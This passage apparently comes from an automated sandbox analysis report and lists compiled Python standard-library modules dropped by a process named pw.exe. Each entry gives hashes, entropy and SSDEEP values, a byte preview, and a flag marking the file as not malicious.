SHA-512:	5656F77216B341E5333DF65A2414C4E0BCE5D55D9D2B06164E758EA72D8DF324B7C666EDBAA2D20AD1DD8F3B85715FCCDDF4D06042E1B49EFECABA7412530063
Malicious:	false
Preview:	o.........Sg.........................@...s6...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...z.d.d.l.m.Z...W.n...e.y=......d.d.l.m.Z...Y.n.w.g.d...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.z.e.j.Z.d.Z.e...d.....W.n...e ye......d.Z.Y.n.w.e.j!Z"z.e.j#Z$W.n...e yy......d.Z$Y.n.w.e.j%Z%[.d.a&d.a'd.d...Z(d.d...Z)d.d...Zd.d...Z+e.Z,d.d...Z#G.d.d...d...Z-e-Z.G.d.d...d...Z/G.d.d...d...Z0G.d.d...d.e0..Z1G.d.d...d...Z2G.d.d ..d ..Z3G.d!d"..d"e4..Z5e.d#..j6Z7d$d%..Z8e#..a9i.Z:i.Z;e...Z<e...a=e>..a?d&d'..Z@G.d(d)..d)..ZAz.d.dl.mBaCmDZE..W.n#..e...y.......d.d+lFmGZH..d.d,l.mIZI..eId-d...ZDd/d-..ZEd0d1..aCY.n.w.tCZJd2d3..ZKG.d4d5..d5eA..ZLG.d6d7..d7eA..ZMG.d8d9..d9eA..ZNd:d;..ZOd<d=..ZPd>d?..ZQd@dA..ZRdBdC..ZSdDdE..ZTg.ZUd.aVdFdG..ZWd.dHl.mXZX..eM..aYdIdJ..ZZdKdL..Z[z.d.dMl.m\Z]..W.n...e...y.......d.dNl^m]Z]..Y.n.w.dOdP..Z_e`e.dQ....r.e.jae_dR....d.S.d.S.)Sz;Thread module emulating a subset of Java's threading model......N)...monotonic)...WeakSet)...islice..count)...deque)...get_ident

C:\recover\pw\lib\pycache\token.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2736
Entropy (8bit):	5.766380625847679
Encrypted:	false
SSDEEP:	48:2HWS58lFEOqIlPBJR41TBzH3ch9C7Q7WnvKQvVgkGQLU:2HWSOFEOb5nYBb3ch9T6qKLU
MD5:	E33AC739CE2BA26129371C655871E7E0
SHA1:	0581B751D2E7925F436F2612D5E6E40700D964B3
SHA-256:	39BB7CA0D75EE4769FD79172952D8C51B29E19EE70E4E63E5F418FD581B35951
SHA-512:	6B7180CE8B8C17E09414007A420394C8C52A017122B81E56491A10616F053CF3443BCB01D75D0D6CFFD419E1472504A3FA3411451A02D603BD82A4E1F0E36A66
Malicious:	false
Preview:	o.........Sg.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)........+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

C:\recover\pw\lib\pycache\tokenize.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17192
Entropy (8bit):	5.776938243345214
Encrypted:	false
SSDEEP:	384:NSAswuiOIbAPaiOkoc/w3CJg+YRn9JMH6HG5xBQzS:NmiRAPajkoc/wyJg+Y/sN5xBQzS
MD5:	AAE83A5CB1791D997D4CFB917D5C9C4B
SHA1:	3C044C98D7A31594DE8E78EA6B46852FFC2262B2
SHA-256:	55EA6E47D9AFC58C0E52F085D57E31425E72235B9D200B42B058504DEDE3494A
SHA-512:	72B1F835757A1272C61C9F908761FCC6DC86C1EF9318C3C72303643143F935201A33B13D5487BEF4279EF351B403C70AF3D53A024FB57777C0D3DE77DDCC8EA2
Malicious:	false
Preview:	o.........Sg.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Ze.ee)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

C:\recover\pw\lib\pycache\traceback.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21706
Entropy (8bit):	5.293647540216537
Encrypted:	false
SSDEEP:	384:UooGGsSgHvgJJpLbiO+pSbnwRG+SbL3JWFsFmpbQigBsGUa2l4cCowdBq:UooFcHvIJpiJAngz4BNUpl4cCBdBq
MD5:	E809801B16C1DF04EB0670FD2F687DC2
SHA1:	81A7243FF629C2EE7E86136F667D81B1D264418D
SHA-256:	00C2A7E68A1A06582EF1B39580F8261641BB9869EA27A9CC843AA87B1DD0B970
SHA-512:	7619AA750A5BE6BE72E7DF4B216C6ABF9E84EBCE225826F1DEB0F4EFB251A95979031B067DF70A5297D851C46EC64FC8AE62DCAEAB014F35208B4A3FA27029A3
Malicious:	false
Preview:	o.........Sg.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...\|.d.u.r.t.j.}.t...\|.......D.].}.t.\|.\|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

C:\recover\pw\lib\pycache\types.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9523
Entropy (8bit):	5.1414082738555615
Encrypted:	false
SSDEEP:	96:y8BGSXkI30IX7ad5RV7VIPNmXkXFNlO8U2UuLWnxq3juXvypQ1SwDFBL0GSSSOS6:nBGgfjoV4NmAFyvWLwx8pOXU/I+rjmV
MD5:	53E9CC0DB0BBA8943E57C9D6F12BD2A1
SHA1:	2528A4B3D1B4D997EA15570FEBB903C9BBD2B5E2
SHA-256:	2DE903CD88E9EF5C4326BF76913756B761BF4515122010DDC842EB618021E1D5
SHA-512:	E9847135F4549433028D39E50DF7752B41CA1C22ECF048B4D788582BB20CF35B36C2AA9F4AA4FAD833DD4C14D0CE9F0BA0A3FC7E0E654A27B1EBFCDCFDB81A82
Malicious:	false
Preview:	o.........Sg.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r......C:\recover\pw\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.\|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr....)...__closure__).r....r.

C:\recover\pw\lib\pycache\typing.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	85275
Entropy (8bit):	5.27553140191886
Encrypted:	false
SSDEEP:	1536:rCytWnoBkc6T6G9vSgukYqUwmM6eOZlhKNtB21bvSF3hCOp9NeT51mWbAyfthIR3:GtV2k3kSNtg1UQOpqb18oc3
MD5:	8937FF5C65B11D8BDA329EAF169A284A
SHA1:	3683432ACD26BF9C5B873322577D9A228CED45F9
SHA-256:	099EA0601F38777CFF97A3DFFF651F4BF72FA67DF2DB22E05194CBCA3E1E584B
SHA-512:	A3BE557B0BB3244BD3DE5BE623982AD4BBB6854CAAF7333FE52C6F74F2BB80DAB4B00A1E9DA0B1A867BD78D1CCA0CFBF3DCDA7649C853253252C95C9AEF494F7
Malicious:	false
Preview:	o.........Sg.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d..de"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d\|..d\|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

C:\recover\pw\lib\pycache\uu.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3686
Entropy (8bit):	5.54594782547775
Encrypted:	false
SSDEEP:	96:K6FLByWyhU9ShozDLcLmxESqc0Ic5k4CWyQ65:K6FLByWS2zECW3u4a5
MD5:	6470C3EFF66CDCF10DEA9BE9F98CE231
SHA1:	C567AA5400183CD81EF49469F574F3209C658C56
SHA-256:	AE60646304895709D4A9B9BFF61DCA8679FFDCB188BBCD3C3599C70E59FFF268
SHA-512:	13411533B5153EDFDC440EF6C30CE0CED1F5A4D45C2A03303308AE4149869CE81331BB501788369518997B25C7481B769AA8A747212EEF0645755900B6001A12
Malicious:	false
Preview:	o.........Sg.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r......C:\recover\pw\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.\|.d.k.r.t.j.j.}.n/t.\|.t...r;\|.d.u.r.t.j...\|...}.\|.d.u.r1z.t...\|...j.}.W.n...t.y0......Y.n.w.t.\|.d...}.\|...\|.....\|.d.k.rDt.j.j.}.n.t.\|.t...rSt.\|.d...}.\|...\|.....\|.d.u.rYd.}.\|.d.u.r_d.}.\|...d.d...}.\|...d.d...}.\|...d.\|.d.@.\|.f.....d.......\|...d...}.t.\|...d.k.r.\|...t.j.\|.\|.d.......\|...d...}.t.\|...d.k.s.\|.r.\|...d.....n.\|...d.....W.\|.D.].}.\|.......q.d.S.\|.D.].}.\|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.i......ascii.-...r....r..

C:\recover\pw\lib\pycache\warnings.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13644
Entropy (8bit):	5.373708498531873
Encrypted:	false
SSDEEP:	384:8Bo+bFHagj6xo0+q6pRkg8gRN5hlPY6FBdlIwKVvzexfu9wK:8VJHagj6xLD6V/A6FBdlIJ7exfu9wK
MD5:	9745401746A15193533FA1CBAD25D617
SHA1:	03CBC9DE3B952C464117615EEBD47D0060AA6E0E
SHA-256:	29D75AF07C36F8FE35BC78ED85F4E29B10863514BD3701ABB2BA5F932C39330E
SHA-512:	30C24D51D427290F8FDD70BC1F1C79199D03ED09604704FB027D2082BFDB7F8DC420C28CCD7A02A0A7958D360F49219F508069B2B14429E8A55ACBEBA43FF0F5
Malicious:	false
Preview:	o.........Sg.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5ed9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.\|.\|.\|.\|.\|.\|...}.t.\|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r......C:\recover\pw\lib\warnings.pyr........s........r....c....................C...s....t.\|.\|.\|.\|.d.\|...}.t.\|...S.)...Fu

C:\recover\pw\lib\pycache\weakref.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20341
Entropy (8bit):	5.077914264407523
Encrypted:	false
SSDEEP:	384:kjNLvfZTpG14+ORhWBdAP/+6BWCyljPj8j/sBMpNLRVcNh4oC+erfA4:kpHZE15QhWBdg/+6zyhOpNHS/CXLA4
MD5:	0E11F55AECEF5AC201522CF62581BC59
SHA1:	368A98C13BFA21BB4B397E7A33F46F49D781E3E3
SHA-256:	645B933E517235696D9BDC76A2B244CEAEE37649EBCA46F3BC13404EE53003B4
SHA-512:	21AAEFA7827F32FFBB36E95ED27B16DF3B27494209FC3DDD9463EFF87CF0737ADAA209F348B461A5377AEB2A34381ECE58A41F21632CC286644729B2E6555936
Malicious:	false
Preview:	o.........Sg.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z\|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.\|.j.}.\|.j.}.W.n...

C:\recover\pw\lib\pycache\zipfile.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61033
Entropy (8bit):	5.524850065833734
Encrypted:	false
SSDEEP:	1536:zL78ub6KCF0PSVTmrYNsS2vr4K5cM/ed0fUz5Z:3QcCF0ate/5f4
MD5:	A253136073D609E1B89C089769798618
SHA1:	01EFD2E7CFDBF8E738A68E8177F1DD451677EA83
SHA-256:	AFE80264AE930587650DCC04D06FD1783071AE6CFA17AE0E8F9B405AD8DFDD80
SHA-512:	56A47E39ACF18AC759BC68F146D6342E685724FFB37F0D4F8CD5C247F2A40B1D001F3D2F2CB7022F912EA412AF14BDC90CF3718B8EDCEF15A911F2746E825E9B
Malicious:	false
Preview:	o.........Sg.g.......................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.e.j.Z.W.n...e.yQ......d.Z.e.j.Z.Y.n.w.z.d.d.l.Z.W.n...e.yc......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.yu......d.Z.Y.n.w.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e...Z.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(e..)e'..Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6e..)e5..Z7d.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDd.ZEd.ZFd ZGd!ZHd"ZId#ZJd$ZKd%ZLe..)eK..ZMd.ZNd.ZOd.ZPd.ZQd.ZRd.ZSd.ZTd.ZUd.ZVd.ZWd.ZXd.ZYd&ZZd'Z[e..)eZ..Z\d(Z]d)Z^e..)e]..Z_d.Z`d.Zad.Zbd.Zcd.Zdd.Zed.Zfd.Zgd.Zhd.ZidZje..kd+..Zld,d-..Zmd.d/..Znd0d1..Zod2d3..Zpd4d5..ZqG.d6d7..d7er..Zsd.atd8d9..Zud:d;..ZvG.d<d=..d=..ZwG.d>d?..d?..Zxi.d.d@..d.dA..d.dB..d.dB..d.dB..d.dB..d.dC..d.dD..d.dE..d.dF..d.dC..d.dG..d.dH..d#dI..dJdK..dLdM..dNdO..ZydPdQ..ZzdsdRdS..Z{dTdU..Z\|G.dVdW..dW..Z}G.dXdY..dY..Z~G.dZd[..d[e.j...Z.G.d\d]..d]e.j...Z.G.d^d_..d_..Z.

C:\recover\pw\lib\collections\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	48451
Entropy (8bit):	5.120875981356645
Encrypted:	false
SSDEEP:	768:hbRUurnFDpytMbeGzDRBPou+eQyWImBfbGm49WxxSNo4Q+M2PvUPPAeOTMtJcCnM:tRtFDpyTGzDRBPoJImBfbGm49WxENbQ8
MD5:	D66807804466C4A9A6128003B7000463
SHA1:	A184C34AA2DADB94445D93EC8873E7E60B165D98
SHA-256:	7873B479734887C21C7966B7BD705ECC3530AFC61075FD8399396D075A449832
SHA-512:	E86EB3D0E77FB4C6BD73950D432085F71EC57A6F7FA41B874F200EFD842F912E517AFD0D61AF0FCCE9B6EF5EA81648AEAE74D46AB00A65348623496E953A915D
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.mZ..W.n...e.y.......d.d...ZY.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d..de.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple... namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

C:\recover\pw\lib\collections\pycache\abc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.66194431390076
Encrypted:	false
SSDEEP:	6:y/KjeC5VvkFZlaE+MdF/Hj5J+iM8tGdgIun:CUeC7gj+Er+izGdcn
MD5:	40774CC0852CE7AB1520F2F0522E2308
SHA1:	3E6EF0C8494C285E1EF8B544A9A33604C44C590E
SHA-256:	676DA83667B579C7B3C7D3194DD6F5275D6AEF2D339232E3AFEAE7E87B26DEE6
SHA-512:	F1E26F2DF676DFE4AADDF88B5CF75CDCCF4D43C31309785D4090EE47FFDCE3E7F92DCE38990C0944818A9A734431588F9B19F9E7C0E010CAB7F2E87B4F612D40
Malicious:	false
Preview:	o.........Sgz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGenericAliasN)..._collections_abcr....r......r....r.....$C:\recover\pw\lib\collections\abc.py..<module>....s..........

C:\recover\pw\lib\ctypes\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15880
Entropy (8bit):	5.331845276605679
Encrypted:	false
SSDEEP:	384:koMRQLVaCuGN1r9u1u2RTCQzweSkqxo5IbeX6EoV:koMoVl9u1d9wqpIbQBoV
MD5:	A036BCF2F4885D95CE6D60F1B2F1CF03
SHA1:	7363117F564079CEB52D5FBF4D4B40BFAB7274A8
SHA-256:	59A26490DD9612357DF6725545A7200B6CD6A8E00B315C07266F95B24AABCE13
SHA-512:	CDFF7C7454ACC50AEE07CB2F6B3993DC19FA7FD71B147F9B4B0D282DEBCDB53AF8773D29B1B3E4E1394400D0A7F83947F691C1230F01DD7772169A333E71B2A0
Malicious:	false
Preview:	o.........SgwH.......................@...s(...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.k.rJe.d.e.e.....e.j.d.k.rUd.d.l.m.Z...e.Z.e.j.d.k.rqe.j.d.k.rqe.e.....j...d...d.....d.k.rqe.Z.d.d.l.m.Z m!Z"m#Z$m%Z&..d}d.d...Z'd}d.d...Z(i.Z)d.d...Ze.j.d.k.r.d.d.l.m+Z,..d.d.l.m-Z...i.Z/d.d...Z0e0j.r.ej..1d.d...e0_.n.e.j.d.k.r.d.d.l.m2Z,..d.d.l.m3Z3m4Z4m5Z5m6Z6m7Z7..d.d.l.m8Z8m9Z9..d.d l.m:Z:..d}d!d"..Z;G.d#d$..d$e:..Z<e;e<d%....G.d&d'..d'e:..Z=e;e=....G.d(d)..d)e:..Z>e;e>....G.d*d+..d+e:..Z?e;e?....G.d,d-..d-e:..Z@e;e@....e.d...e.d/..k...r'e?ZAe@ZBn.G.d0d1..d1e:..ZAe;eA....G.d2d3..d3e:..ZBe;eB....G.d4d5..d5e:..ZCe;eC....G.d6d7..d7e:..ZDe;eD....G.d8d9..d9e:..ZEe3eE..e3eD..k...rjeDZEe.d/..e.d:..k...rxe?ZFe@ZGn.G.d;d<..d<e:..ZFe;eF....G.d=d>..d>e:..ZGe;eG....G.d?d@..d@e:..ZHeH..eH_IeH_Je;eH....G.dAdB..dBe:..ZKeK..eK_IeK_Je;eK....G.dCdD..dDe:..ZLeL..eL_IeL_Je;eL....G.dEdF..dFe:..ZMe;eMd%....G.dGdH..dHe:..ZNeNZO

C:\recover\pw\lib\ctypes\pycache\_endian.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1899
Entropy (8bit):	5.181144589459649
Encrypted:	false
SSDEEP:	48:j7p1APBJ0tfAE4axn4rX4kbruu/fdq7RvRhPAEV5wq:R6r0OhauLtV1qRoEV9
MD5:	5A216A9711CC4D2E34AF2D10EF051235
SHA1:	DDD14AFDE4B2B57D36AD2CC58B5713D388C13C7A
SHA-256:	73FCB4A71CB319A338913B7E2334C49D46FC3220A83F64DDB4BED0D9EF9F2CE3
SHA-512:	EA8ED04E7D81107CD4385F32C624431568AFED686CC0E6E7347D5CA208FE3AF065F7FC9DCAE2682061E8464B3672286AFB62986683036E38FA0DB9DD582D5A68
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.T.e.e...Z.d.d...Z.G.d.d...d.e.e.....Z.e.j.d.k.r/d.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.j.d.k.rDd.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.d.....)......N)...*c....................C...sH...t.\|.t...r.t.\|.t...S.t.\|.t...r.t.\|.j...\|.j...S.t.\|.t...r.\|.S.t.d.\|.......).z.Return the type with the 'other' byte order. Simple types like. c_int and so on already have __ctype_be__ and __ctype_le__. attributes which contain the types, for more complicated types. arrays and structures are supported.. z+This type does not support other endian: %s)...hasattr.._OTHER_ENDIAN..getattr..isinstance.._array_type.._other_endian.._type_Z._length_..issubclass..Structure..TypeError)...typ..r.....#C:\recover\pw\lib\ctypes\_endian.pyr........s..................r....c........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)..._swapped_metac........................s^...\|.d.k.r&g.}.\|.D.].}.\|.d...}.\|.d...}.\|.d.d.....}.\|...\|.t.\|...f.\|.......q.\|.}.t.....\|.\|.....d

C:\recover\pw\lib\ctypes\pycache\util.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8310
Entropy (8bit):	5.473749137354661
Encrypted:	false
